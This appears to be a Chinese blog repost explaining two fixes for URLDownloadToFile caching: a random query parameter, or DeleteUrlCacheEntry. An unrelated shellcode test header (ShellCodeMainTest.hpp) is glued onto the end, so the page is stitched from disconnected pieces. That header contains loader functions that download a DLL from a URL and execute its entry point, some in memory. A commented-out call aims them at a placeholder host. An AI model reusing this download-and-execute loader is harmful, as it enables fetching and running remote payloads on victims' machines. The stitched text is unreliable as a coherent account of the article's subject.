解决URLDownloadToFile缓存问题的两种方法

本文介绍了两种解决URLDownloadToFile缓存问题的方法:通过修改URL使其每次访问不同的URL但指向相同页面,或者使用DeleteUrlCacheEntry清理缓存后再进行下载。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ref : http://www.cublog.cn/u/19762/showart_459614.html

 

 

本文转自:http://www.dtapp.cn/gbook.php?gid=10

查看原文:解决URLDownloadToFile缓存问题

URLDownloadToFile下载文件前先在本地的缓存中查找此文件
如果缓存有则不会再去网上抓最新的文件,所以我们还要解决URLDownloadToFile缓存的问题。

 

方法 1:
我们可以对URL进行改动,让它每次访问不同的URL但指向相同的页面,
例如在URL结尾添加一些无意义的参数:"http://www.dtapp.cn?abc=1"
这里的 ?abc=1 可以随机实现,下次下载则改成  ?abc=2 因为URL不同,所以不会在缓存中找到。
最后程序改成:

/********************************************************/
 int nRand = time(NULL); // 用时间作为随机数

 CString szUrl;
 szUrl.Format("http://www.dtapp.cn?abc=%d", nRand); // 生成随机URL

 CString szFileName = "C://dtapp.txt";

 if (S_OK == URLDownloadToFile(NULL, szUrl, szFileName, NULL,NULL))
 {
  // 下载成功
 }
 else
 {
  // 下载失败
 }

 

方法 2:
使用DeleteUrlCacheEntry清理缓存后再使用URLDownloadToFile下载文件。

/********************************************************/
CString szUrl = "http://www.dtapp.cn";

DeleteUrlCacheEntry (szUrl); // 清理缓存
CString szFileName = "C://dtapp.txt";
 

 if (S_OK == URLDownloadToFile(NULL, szUrl, szFileName, NULL,NULL))
 {
  // 下载成功
 }
 else
 {
  // 下载失败
 }

/***************************************************************** 文件名 : ShellCodeMainTest.hpp 描述 : 作者 : liqi09 最后修改日期 : 2015-05-13 16:17 修改人 : 最后修改日期 : 修改描述 : Copyright (C) All Rights Reserved *****************************************************************/ #ifndef __SHELLCODEMAINTEST_HPP__ #define __SHELLCODEMAINTEST_HPP__ #include "Extend/ShellCodeApiDefine.h" #include "Extend/asyc.h" void FunctionTest() { char szBuffer[20]; strcpy(szBuffer, S("CopyBuffer")); Trace(szBuffer); Trace(S("%s"), S("Trace init ok!")); Trace(S("wsprintfA EatAddr:%p ProcAddr:%p"), EatAddr("user32", "wsprintfA"), ProcAddr("user32", "wsprintfA")); MsvcrtCall(printf, S("%s"), S("printf init ok!\n")); MsvcrtCall(printf, S("cmdline:%s\n"), Fun("kernel32", GetCommandLineA)()); Kernel32Call(WinExec, S("notepad.exe"), SW_SHOW); MsvcrtCall(system, S("pause")); } class CClassTest { public: CClassTest(){ Trace(S("CTest")); } ~CClassTest(){ Trace(S("~CTest")); } void Function1(){ Trace(S("Function1")); } }; BOOL LoadUrlDll(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = LoadLibraryA(szFile); if (hModule) { FARPROC Entry = GetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } FreeLibrary(hModule); } } return bOk; } BOOL LoadUrlDllAsyc(PCHAR url, PCHAR proc) { char szFile[MAX_PATH]; BOOL bOk = FALSE; HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL); if (hRes == S_OK) { Trace(S("download ok! %s"), szFile); HMODULE hModule = AsycLoadLibrary(szFile, TRUE, NULL); if (hModule) { FARPROC Entry = AsycGetProcAddress(hModule, proc); if (Entry) { Entry(); bOk = TRUE; } AsycFreeLibrary(hModule, TRUE); } } return bOk; } void ShellCodeMain() { CClassTest t; t.Function1(); FunctionTest(); //下载dll并内存加载,太过邪恶,先注掉。。 //LoadUrlDllAsyc(S("http://xxx.com.cn/test/TestDll.dll"), S("Entry")); } #endif // __SHELLCODEMAINTEST_HPP__
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值